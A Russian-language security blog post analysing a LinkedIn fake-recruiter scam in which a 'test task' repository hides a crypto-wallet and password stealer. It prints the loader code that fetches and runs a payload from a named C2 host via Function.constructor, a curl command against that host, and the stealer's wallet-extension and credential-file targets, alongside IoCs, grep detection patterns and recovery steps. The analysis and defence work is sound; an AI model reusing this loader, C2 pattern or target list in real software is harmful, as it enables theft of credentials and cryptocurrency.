Disclaimer: Эта статья предназначена исключительно для образовательных целей и повышения осведомлённости о киберугрозах. Любое использование описанных техник в злонамеренных целях строго запрещено и преследуется по закону.
TL;DR: Обнаружена схема мошенничества. Злоумышленники выдают себя за Web3-компании, предлагают "тестовое задание", которое на самом деле содержит malware для кражи криптовалютных кошельков и паролей из браузеров. В статье — детальный разбор атаки с техническим анализом.
Введение
В последнее время на LinkedIn активизировались мошенники, использующие хитроумную схему для кражи криптовалюты. Под видом рекрутеров из Web3-компаний они предлагают высокооплачиваемую работу QA-инженерам, а вместо собеседования отправляют "тестовое задание" — репозиторий с malware.
Эта статья — подробный разбор реальной атаки, которую удалось распознать до запуска вредоносного кода. Разберём всю цепочку: от первого сообщения до технических деталей malware.
⚠️ Важно: Все ссылки на вредоносные ресурсы обезврежены или указаны для целей идентификации угрозы.
Часть 1: Социальная инженерия
Первый контакт
Всё начинается с сообщения в LinkedIn от "рекрутера":
Привет!
Меня зовут Julia, я Business Owner компании Dredsoftlabs.
Мы расширяем команду и работаем над крутыми проектами:
DApp, Web3-игра и платформа для торговли криптовалютой.
Ищем QA-инженера. Готовы нанять немедленно.
Ставка: $80-120/час, есть full-time и part-time опции.
Интересно? Давайте обсудим!🚩 Красные флаги
Даже на этом этапе видны подозрительные моменты:
Подозрительная ставка: $80-120/час для QA — это $12,800-19,200/месяц или ~$230,000/год.
"Готовы нанять немедленно": Создание искусственной срочности — классический приём социальной инженерии.
Фокус на Web3/крипто: Целевая аудитория — люди, владеющие криптовалютой.
Развитие контакта
После проявления интереса мошенники присылают:
Notion-страницу с подробным описанием вакансии (выглядит профессионально)
Запрос метода оплаты ДО собеседования (!!!)
"Тестовое задание"
После отправки резюме приходит следующее сообщение:
Мы тщательно изучили ваше резюме.
Вы отлично подходите для позиции QA-инженера!
Следующий шаг — простое техническое задание на основе
тестового проекта. Займёт 30-60 минут.
После успешного выполнения — сразу в найм, без ожидания.Готовы начать? Вышлю инструкции.
Затем приходят Google Docs с описанием "тестового проекта" и ссылка на Bitbucket:
Скрытый текст
Репозиторий: bitbucket.org/workspace8601/real_estate_platform
Задание:Клонировать репозиторий
Запустить проект локально (npm install && npm start)
Найти 5+ багов
Написать тест-кейсы
Записать видео с findings
Выглядит как обычное тестовое для QA. НО ЭТО ЛОВУШКА.
💻 Часть 2: Технический анализ
Структура проекта
На первый взгляд — обычное React-приложение с Node.js backend:
real_estate_platform/
├── src/ ← React frontend (легитимный)
├── server/ ← Node.js backend
│ ├── app.js
│ ├── server.js
│ ├── config/
│ │ └── .env ← ⚠️ ВРЕДОНОСНАЯ КОНФИГУРАЦИЯ
│ └── middlewares/
│ └── validator/
│ └── errorHandler.js ← 🚨 MALWARE ENTRY POINT
├── package.json
└── README.mdFrontend действительно работает — это платформа недвижимости с криптовалютными платежами. Но в backend скрыт malware.
Точка входа malware
Файл server/config/.env содержит подозрительные Base64-строки:
# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw==
RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy
RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0Декодируем:
$ echo "aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw==" | base64 -d
<https://api-server-mocha.vercel.app/api/ipcheck-encrypted/603>
$ echo "eC1zZWNyZXQtaGVhZGVy" | base64 -d
x-secret-header
$ echo "c2VjcmV0" | base64 -d
secretЭто адрес Command & Control (C2) сервера!
Механизм Remote Code Execution (RCE)
Файл server/middlewares/validator/errorHandler.js содержит опасный код:
const errorHandler = (error) => {
if (typeof error !== 'string') return;
// 🚨 ОПАСНО: Создаёт функцию из строки
const createHandler = (errCode) => {
const handler = new (Function.constructor)('require', errCode);
return handler;
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require); // ← ВЫПОЛНЯЕТ ПРОИЗВОЛЬНЫЙ КОД
}
};
const errorTimeHandler = async () => {
// Декодирует Base64 из .env
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
try {
// Запрашивает payload с C2 сервера
globalConfig = await axios.get(src, {headers: {[k]: v}});
} catch (error) {
// Выполняет полученный payload через errorHandler
errorHandler(error.response?.data || error.message);
}
};Как это работает:
1. npm start запускает Node.js сервер
↓
2. errorTimeHandler() выполняется автоматически
↓
3. Делает HTTP-запрос на C2 сервер:
GET <https://api-server-mocha.vercel.app/api/ipcheck-encrypted/603>
Header: x-secret-header: secret
↓
4. C2 возвращает обфусцированный JavaScript
↓
5. errorHandler() создаёт функцию из строки через Function.constructor
↓
6. Код выполняется с полным доступом к require() → ВСЁPayload с C2 сервера
Я запросил payload с их сервера (без выполнения):
$ curl -H "x-secret-header: secret" \\\\
"<https://api-server-mocha.vercel.app/api/ipcheck-encrypted/603>"Получил ~50KB обфусцированного JavaScript кода. После деобфускации обнаружено:
1. Целевые браузеры
const browsers = [
'BraveSoftware/Brave-Browser',
'Google/Chrome',
'Microsoft/Edge',
'Mozilla/Firefox',
'Opera'
];2. Криптовалютные кошельки (20+ расширений)
const targetWallets = [
'nkbihfbeogaeaoehlefnkodbefgpgknn', // MetaMask
'bfnaelmomeimhlpmgjnjophhpkkoljpa', // Phantom
'hnfanknocfeofbddgcijnmhnfnkdnaad', // Coinbase Wallet
'fhbohimaelbohpjbbldcngcnapndodjp', // Binance Chain Wallet
'odbfpeeihdkbihmopkbjmoonfanlbfcl', // Brave Wallet
'egjidjbpglichdcondbcbdnbeeppgdph', // Trust Wallet
// ... ещё 15+ кошельков
];3. Файловые операции
Malware ищет и крадёт:
Windows:
%APPDATA%/Roaming/Exodus/exodus.wallet(Exodus wallet)%LOCALAPPDATA%/Google/Chrome/User Data/Default/(пароли, cookies)%LOCALAPPDATA%/BraveSoftware/Brave-Browser/(расширения кошельков)
macOS:
~/Library/Application Support/Exodus/exodus.wallet~/Library/Application Support/Google/Chrome/~/.config/(для Linux)
Что крадёт:
Seed-фразы криптокошельков
Private keys
Пароли из браузеров (Login Data)
Cookies (активные сессии)
История браузера
SSH ключи (~/.ssh/)
AWS credentials (~/.aws/)
4. Эксфильтрация данных
const hostURL = '<http://146>.[REDACTED]'; // IP-адрес атакеров
// Собирает системную информацию
const systemInfo = {
hostname: os.hostname(),
platform: os.platform(),
homeDir: os.homedir()
};
// Отправляет украденные данные
Upload(stolenFiles, hostURL);Схема атаки
┌─────────────────────┐
│ Жертва запускает │
│ npm start │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ errorTimeHandler() │
│ делает запрос на C2 │
└──────────┬──────────┘
│
▼
┌─────────────────────────────┐
│ Vercel C2 Server │
│ api-server-mocha.vercel.app │
│ Возвращает payload │
└──────────┬──────────────────┘
│
▼
┌──────────────────────────┐
│ Function.constructor() │
│ создаёт функцию из строки│
└──────────┬───────────────┘
│
▼
┌────────────────────────────────┐
│ Payload выполняется с полным │
│ доступом к FS, network, etc │
└──────────┬─────────────────────┘
│
├─→ Сканирует браузеры
├─→ Крадёт wallet extensions
├─→ Копирует Exodus wallet
├─→ Ворует пароли/cookies
└─→ Отправляет на 146.x.x.x🎯 Часть 3: Indicators of Compromise (IoCs)
Если вы получили подобное предложение, проверьте эти индикаторы:
Сетевые индикаторы
C2 Servers:
api-server-mocha.vercel.app
146.[REDACTED] (IP-адрес эксфильтрации)Домены:
dredsoftlabs.com (фронт-сайт)Репозитории
Bitbucket: workspace8601/real_estate_platform
URL: bitbucket.org/workspace8601/real_estate_platformФайловые индикаторы
Вредоносные файлы:
server/middlewares/validator/errorHandler.js
server/config/.env (содержит Base64 C2 config)Поведенческие индикаторы
Вакансия с нереалистичной оплатой
Запрос payment method до собеседования
Тестовое задание требует
npm install/npm startBitbucket репозиторий от неизвестного workspace
Base64-encoded переменные окружения в .env
Dynamic function construction (
Function.constructor)
🛡️ Часть 4: Защита и митигация
Как распознать scam
Слишком хорошая оплата
Давление срочности
"Готовы нанять немедленно"
"Без waiting period"
"Быстрый найм"
Запрос финансовой информации
Payment method ДО оффера
Crypto wallet address
Banking details
Подозрительное тестовое
Требует установки пакетов (
npm install)Клонирование неизвестного репозитория
Запуск кода (
npm start,python main.py)
✅ Best Practices
Для job seekers:
Верификация компании:
Независимый поиск (не по ссылкам от рекрутера)
Проверка возраста домена (whois)
LinkedIn компании с реальными сотрудниками
Отзывы на Glassdoor/Habr CareerБезопасные тестовые:
Используйте платформы (HackerRank, CodeSignal)
Или статический code review (без запуска)
VM/Docker для подозрительного кода
НИКОГДА не запускайте код из неизвестных репозиториевВо время коммуникации:
Видеозвонок с рекрутером
Проверка email домена (не Gmail/Outlook для корп. вакансий)
Отказ от "срочных" предложений
Для разработчиков:
# Перед запуском npm install проверьте:
# 1. Файлы с Base64-строками
grep -r "atob\\\\|base64\\\\|Buffer.from" .
# 2. Подозрительные конструкции
grep -r "Function.constructor\\\\|eval\\\\|new Function" .
# 3. Сетевые запросы
grep -r "axios.get\\\\|fetch\\\\|http.request" .
# 4. Файловые операции
grep -r "fs.readFile\\\\|fs.writeFile\\\\|readFileSync" .
# 5. Обфусцированный код (переменные типа _0x...)
grep -r "_0x[0-9a-f]" .
🚨 Если вы ЗАПУСТИЛИ malware
НЕМЕДЛЕННО:
Отключите интернет (физически!)
Проверьте процессы:
# macOS/Linux ps aux | grep node kill -9 <PID> # Windows tasklist | findstr node taskkill /F /PID <PID>Переведите криптовалюту:
Создайте НОВЫЕ кошельки (новые seed phrases)
Переведите ВСЕ активы немедленно
Старые кошельки считайте скомпрометированными
Смените ВСЕ пароли:
Email (в первую очередь!)
Банковские аккаунты
Криптобиржи (Binance, Coinbase, etc.)
Облачные сервисы (AWS, GCP, Azure)
SSH ключи (создайте новые)
Отзовите сессии:
Google: myaccount.google.com/security
Facebook: /settings/security_login/sessions
GitHub: /settings/sessions
В течение 24 часов:
Проверьте persistence:
# Cron jobs crontab -l # Startup items (macOS) ls ~/Library/LaunchAgents/ ls ~/Library/LaunchDaemons/ # Autostart (Linux) ls ~/.config/autostart/Антивирус-сканирование.
Мониторинг счетов:
Проверяйте банковские транзакции
Установите fraud alerts
Следите за адресами кошельков
Репорт инцидента:
Локальная полиция (если есть финансовые потери)
FBI IC3: ic3.gov (для США)
Киберполиция вашей страны
(по желанию) Полная переустановка ОС с чистого backup.
📢 Часть 5: Куда сообщить
Platforms
Bitbucket:
Email: abuse@atlassian.com
Subject: Malware repository
Link: bitbucket.org/workspace8601/real_estate_platformVercel:
Support: vercel.com/support
Subject: Malicious C2 endpoint
Domain: api-server-mocha.vercel.appLinkedIn:
Report profile: "скамер"
Reason: Scam / PhishingSecurity Community
VirusTotal:
Загрузите sample:
server/middlewares/validator/errorHandler.js
AbuseIPDB:
IP: 146.[REDACTED]
Category: Malware distribution
URLhaus:
🧠 Выводы и уроки
Для соискателей
Здоровый скептицизм — ваш друг
Если предложение слишком хорошее → проверьте дважды
Срочность = давление = red flag
Верификация обязательна
Независимый поиск компании
Видеозвонок с рекрутером
Проверка через знакомых в индустрии
Безопасные тестовые задания
Легитимные компании используют платформы
Или дают code review без запуска
Никогда не запускайте код из неизвестных репозиториев
Для security community
Социальная инженерия эффективна
Даже security-aware люди попадаются
Профессиональный вид снижает бдительность
Supply chain риски
npm/yarn пакеты из недоверенных источников
package.json scripts выполняются автоматически
Проверяйте код перед установкой зависимостей
Обфускация работает
JavaScript легко обфусцировать
Статический анализ не всегда помогает
Нужны sandbox и динамический анализ
Масштаб проблемы
Эта атака — не единичный случай. Аналогичные схемы:
Используются для targeting разработчиков всех уровней
Нацелены на владельцев криптовалюты
Эволюционируют (новые векторы, обфускация)
Сложно детектируются (легитимные платформы)
Потенциальный ущерб:
Кража криптовалюты: от $0 до миллионов (зависит от жертвы)
Identity theft
Corporate data breach (если использовали рабочий компьютер)
Backdoor для долгосрочного доступа
📚 Дополнительные материалы
Проверка компании:
Безопасность:
Sandbox для анализа:
any.run — интерактивная sandbox
Deobfuscation:
🎬 Заключение
Эта атака демонстрирует опасную тенденцию: профессионализация киберпреступности. Злоумышленники используют:
Легитимные платформы (LinkedIn, Bitbucket, Vercel)
Профессиональную социальную инженерию
Технически сложный malware
Фокус на high-value targets (crypto holders)
Главный вывод:
Никогда не запускайте код из неизвестных источников, особенно в контексте найма. При малейших сомнениях — откажитесь от "тестового задания" и попросите альтернативу.
Если эта статья помогла вам избежать подобного скама — поделитесь ею с коллегами. Stay vigilant! 🛡️